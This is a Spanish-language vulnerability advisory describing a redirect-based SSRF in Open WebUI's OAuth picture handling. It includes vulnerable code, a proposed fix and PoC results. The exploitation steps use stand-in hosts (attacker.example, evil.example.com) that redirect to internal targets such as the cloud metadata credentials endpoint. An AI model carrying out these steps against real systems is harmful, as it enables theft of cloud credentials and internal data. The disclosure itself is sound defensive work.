Resumen

La función _process_picture_url ubicada en backend/open_webui/utils/oauth.py (v0.9.5, líneas 1435-1470) invoca validate_url(picture_url) únicamente sobre la URL inicial y, a continuación, llama a aiohttp.ClientSession.get(picture_url, ...) sin especificar allow_redirects=False. El comportamiento por defecto de aiohttp es allow_redirects=True, max_redirects=10. Además, la función no utiliza la constante de entorno AIOHTTP_CLIENT_ALLOW_REDIRECTS definida en el proyecto. Un atacante con una identidad válida en el proveedor OAuth (IdP) puede, por tanto, enviar una URL pública que responda con una redirección 302 hacia una dirección interna y leer el cuerpo de la respuesta interna a través del campo profile_image_url de su propia cuenta.

Esta vulnerabilidad pertenece a la misma clase de bypass por redirección que CVE-2026-45401 (GHSA-rh5x-h6pp-cjj6), pero corresponde a un sexto punto de llamada que el parche de v0.9.5 no contempló. El aviso de CVE-2026-45401 enumera exactamente cinco rutas afectadas: SafeWebBaseLoader._scrape, _fetch, get_content_from_url, load_url_image y get_image_base64_from_url, ninguna de ellas en utils/oauth.py.

Código vulnerable (v0.9.5)

Archivo backend/open_webui/utils/oauth.py, líneas 1435-1470:

python
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    if not picture_url:
        return '/user.png'
    try:
        validate_url(picture_url)                              # solo la URL inicial

        get_kwargs = {}
        if access_token:
            get_kwargs['headers'] = {'Authorization': f'Bearer {access_token}'}
        async with aiohttp.ClientSession(trust_env=True) as session:
            async with session.get(picture_url, **get_kwargs,
                                   ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
            #                       ^^^^^^^^^^^ sin allow_redirects=False
                if resp.ok:
                    picture = await resp.read()
                    base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
                    guessed_mime_type = mimetypes.guess_type(picture_url)[0]
                    if guessed_mime_type is None:
                        guessed_mime_type = 'image/jpeg'
                    return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'
                ...

La función se invoca en oauth.py:1556 (registro de nuevo usuario vía OAuth) y en oauth.py:1536 (actualización de imagen de perfil en inicio de sesión de usuario existente). Ninguno de los dos puntos de llamada revalida la URL tras seguir la redirección.

El archivo backend/open_webui/retrieval/web/utils.py (v0.9.5) importa la constante de entorno AIOHTTP_CLIENT_ALLOW_REDIRECTS en la línea 51 y la utiliza en las cinco rutas parcheadas por CVE-2026-45401. El archivo utils/oauth.py no la importa ni la referencia.

Explotación

Condiciones previas:

  • ENABLE_OAUTH_SIGNUP=true o OAUTH_UPDATE_PICTURE_ON_LOGIN=true (configuración habitual en despliegues de producción con OAuth-IdP)
  • El atacante dispone de una identidad válida en el IdP OAuth configurado (Google, Microsoft, GitHub o cualquier proveedor OIDC genérico)

Pasos:

  1. El atacante aloja un endpoint de redirección en http://attacker.example/r sobre una IP pública. validate_url("http://attacker.example/r") devuelve True (is_global=True para IPs públicas).
  2. El atacante establece el claim picture de su IdP como http://attacker.example/r.
  3. El atacante inicia sesión en Open WebUI mediante OAuth. Open WebUI invoca _process_picture_url("http://attacker.example/r", ...).
  4. validate_url acepta la URL pública. Se invoca session.get("http://attacker.example/r").
  5. attacker.example responde con HTTP/1.1 302 Found\r\nLocation: http://127.0.0.1:11434/api/tags (o http://169.254.169.254/latest/meta-data/iam/security-credentials/, servicios internos RFC1918, etc.).
  6. aiohttp sigue la redirección en el lado del servidor. No se realiza ninguna revalidación.
  7. El cuerpo de la respuesta interna se lee en picture, se codifica en base64 y se almacena como profile_image_url = "data:image/jpeg;base64,..." en la cuenta del atacante.
  8. El atacante recupera el valor mediante GET /api/v1/auths/. Al decodificar el payload en base64 se obtiene el cuerpo completo de la respuesta interna.

Impacto

SSRF de lectura completa, con el mismo mecanismo de lectura que CVE-2026-45338:

  • Servicios de metadatos en la nube (AWS IMDSv1 en 169.254.169.254, GCP metadata.google.internal, Azure IMDS) con credenciales IAM y tokens de identidad administrada.
  • Servicios vinculados a localhost (Ollama en :11434, Redis, Elasticsearch, exportadores internos de Postgres).
  • Infraestructura interna RFC1918 no expuesta a internet.

Distinción respecto a CVEs anteriores

CVE-2026-45338 (GHSA-24c9) frente a este hallazgo: En el caso anterior, _process_picture_url no tenía ninguna llamada a validate_url(). Se corrigió en v0.9.0 añadiendo dicha llamada. En el caso actual, la llamada existe pero resulta insuficiente porque no itera sobre los destinos de redirección. Mecanismo diferente, corrección diferente.

CVE-2026-45400 (GHSA-8w7q) frente a este hallazgo: El caso anterior afectaba a validate_url() por discrepancia entre los parsers de urlparse y requests con caracteres \@. Se corrigió en v0.9.5 mediante una lista de bloqueo de caracteres. El caso actual es un seguimiento de redirecciones posterior a la validación, mecanismo ortogonal.

CVE-2026-45401 (GHSA-rh5x) frente a este hallazgo: El caso anterior afectaba a cinco rutas en retrieval, routers/images, utils/files y utils/middleware. Es la clase padre. Mismo mecanismo de bypass por redirección (CWE-918). utils/oauth.py::_process_picture_url no figura entre las cinco rutas del aviso padre. Misma clase, punto de llamada omitido. Variante directa.

Corrección sugerida

python
async with session.get(
    picture_url,
    **get_kwargs,
    ssl=AIOHTTP_CLIENT_SESSION_SSL,
    allow_redirects=AIOHTTP_CLIENT_ALLOW_REDIRECTS,   # añadir
) as resp:

Alternativamente, si las redirecciones deben permanecer habilitadas por defecto, se puede implementar un bucle de seguimiento manual que invoque validate_url() sobre cada cabecera Location. Este enfoque refleja la forma de corrección aplicada a las cinco rutas de CVE-2026-45401.

Versiones afectadas

  • Vulnerable: versiones hasta 0.9.5 inclusive.
  • Corregido en: 0.9.6.

Referencias

  • CVE-2026-45401 / GHSA-rh5x-h6pp-cjj6 (cluster padre, bypass por redirección en 5 rutas)
  • CVE-2026-45338 / GHSA-24c9-2m8q-qhmh (SSRF original en _process_picture_url, parcheado en v0.9.0)
  • CVE-2026-45400 / GHSA-8w7q-q5jp-jvgx (bypass por discrepancia de parsers en validate_url, parcheado en v0.9.5)
  • Issue #24560 de Open WebUI (corrobora que la corrección de redirecciones en v0.9.5 se aplicó de forma parcial entre los distintos puntos de llamada)

Prueba de concepto

PoC de extremo a extremo ejecutado contra ghcr.io/open-webui/open-webui:v0.9.5 en Docker Compose. Tres servicios: atacante (IdP OIDC y endpoint de redirección 302 en evil.example.com:9001/redirect), canario (objetivo interno en internal-target.local:9002/sentinel) y Open WebUI v0.9.5.

Sentinel CSPRNG generado después de la llamada de establecimiento de estado OAuth (según el protocolo oracle Gate 5.5): SSRF-POC-5580111b2a0d7d0c8324bfa92a0d9d09.

Resultado:

  • Campo profile_image_url tras el inicio de sesión OAuth: data:image/jpeg;base64,U1NSRi1QT0MtNTU4MDExMWIyYTBkN2QwYzgzMjRiZmE5MmEwZDlkMDk=
  • Decodificación base64: SSRF-POC-5580111b2a0d7d0c8324bfa92a0d9d09 (coincidencia byte a byte con el sentinel)
  • Log del canario: !!! SSRF HIT - sentinel served

Cadena confirmada: inicio de sesión OAuth, el IdP devuelve el claim picture como evil.example.com:9001/redirect, validate_url() acepta el FQDN, aiohttp.ClientSession.get(...) sigue la redirección 302 hacia internal-target.local:9002/sentinel en el lado del servidor sin revalidación, el cuerpo de la respuesta se codifica en base64 en el campo profile_image_url del atacante y es legible mediante GET /api/v1/auths/.

Los artefactos del PoC (compose, servidor atacante, canario, scripts de ejecución y verificación, transcripción completa) están disponibles bajo petición.

Investigador

Matteo Panzeri. GitHub: matte1782. Contacto: matteo1782@gmail.com. Solicita crédito CVE como Matteo Panzeri.